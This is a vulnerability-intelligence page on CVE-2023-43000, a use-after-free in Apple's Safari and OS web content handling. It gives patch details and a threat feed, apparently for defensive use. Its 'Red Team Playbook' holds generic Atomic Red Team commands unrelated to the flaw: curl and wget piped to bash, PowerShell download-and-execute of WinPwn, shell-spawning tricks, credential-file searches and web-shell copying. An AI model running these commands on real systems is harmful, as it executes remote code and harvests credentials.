CVE-2023-43000
Overview
This vulnerability is a use-after-free flaw arising from improper memory management in the processing of web content within Apple’s Safari browser and underlying OS components. The root cause involves the premature release of memory objects that are subsequently accessed, leading to memory corruption. Affected components include the Safari browser engine and web content processing modules in macOS Ventura, iOS, and iPadOS.
Vulnerability Description
A use-after-free issue was addressed with improved memory management. This issue is fixed in macOS Ventura 13.5, iOS 16.6 and iPadOS 16.6, Safari 16.6, iOS 15.8.7 and iPadOS 15.8.7. Processing maliciously crafted web content may lead to memory corruption.
Impact
An attacker can exploit this vulnerability by enticing a user to visit a maliciously crafted webpage, triggering memory corruption that may lead to arbitrary code execution with the privileges of the affected application. No prior authentication is required, but user interaction is necessary to load the malicious content. Successful exploitation could result in full compromise of the browser environment and potentially escalate to broader system compromise, leading to data theft, unauthorized access, or disruption of services.
Solution
Apple has addressed this issue in security updates for macOS Ventura 13.5, iOS 16.6, iPadOS 16.6, Safari 16.6, iOS 15.8.7, and iPadOS 15.8.7. Administrators and users should apply these updates promptly. Detailed patch instructions and advisory information are available at Apple’s official support pages: https://support.apple.com/en-us/120331, https://support.apple.com/en-us/120338, and https://support.apple.com/en-us/120324.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question is characterized as a use-after-free issue, which is a critical memory management flaw that can lead to memory corruption. This type of vulnerability occurs when a program continues to use a pointer after the memory it points to has been freed. In this case, the flaw was identified in several Apple products, including Safari, macOS, iOS, and iPadOS. The exploitation of this vulnerability could allow an attacker to execute arbitrary code, potentially leading to unauthorized access or control over the affected system. The technical resolution involved improved memory management practices, which are essential for safeguarding against such vulnerabilities.
Attack vectors for this vulnerability primarily involve the processing of maliciously crafted web content. Attackers may create specially designed web pages or scripts that exploit the flaw when rendered in the affected browser or operating system. Users visiting these compromised sites could inadvertently trigger the vulnerability, leading to memory corruption and potential execution of malicious code. This scenario highlights the importance of user awareness and safe browsing practices, as the attack relies on user interaction with seemingly benign web content.
The real-world impact of this vulnerability is significant, particularly given the widespread use of the affected products. With millions of users relying on Safari and Apple’s mobile operating systems, successful exploitation could result in data breaches, loss of sensitive information, and unauthorized access to personal devices. For businesses, the risks extend beyond individual user impact; compromised systems could lead to reputational damage, financial loss, and regulatory penalties, especially if sensitive customer data is involved. The high CVSS score of 8.8 underscores the critical nature of this vulnerability and the urgency for users and organizations to apply the necessary updates.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating software and applying security patches is paramount, as the vendor has released updates for affected products to address the issue. Additionally, employing intrusion detection systems can help identify attempts to exploit the vulnerability in real-time. User education is also crucial; training employees on safe browsing habits and the importance of software updates can significantly reduce the likelihood of successful exploitation. Furthermore, organizations should consider adopting a robust security framework that includes regular vulnerability assessments and penetration testing to identify and remediate potential weaknesses in their systems.
In conclusion, the use-after-free vulnerability presents a serious threat to users of Apple’s Safari browser and associated operating systems. The potential for exploitation through malicious web content emphasizes the need for vigilance in cybersecurity practices. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, both individuals and organizations can better protect themselves against the risks posed by such vulnerabilities. The proactive approach to security not only safeguards systems but also fosters a culture of awareness and preparedness in the ever-evolving landscape of cybersecurity threats.
Affected Products (6)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
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|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-43000 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/120331 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/120338 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/120324 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/126632 |
| cloud.google.com |
NVD API
Exploit
Third Party Advisory
|
https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-43000 |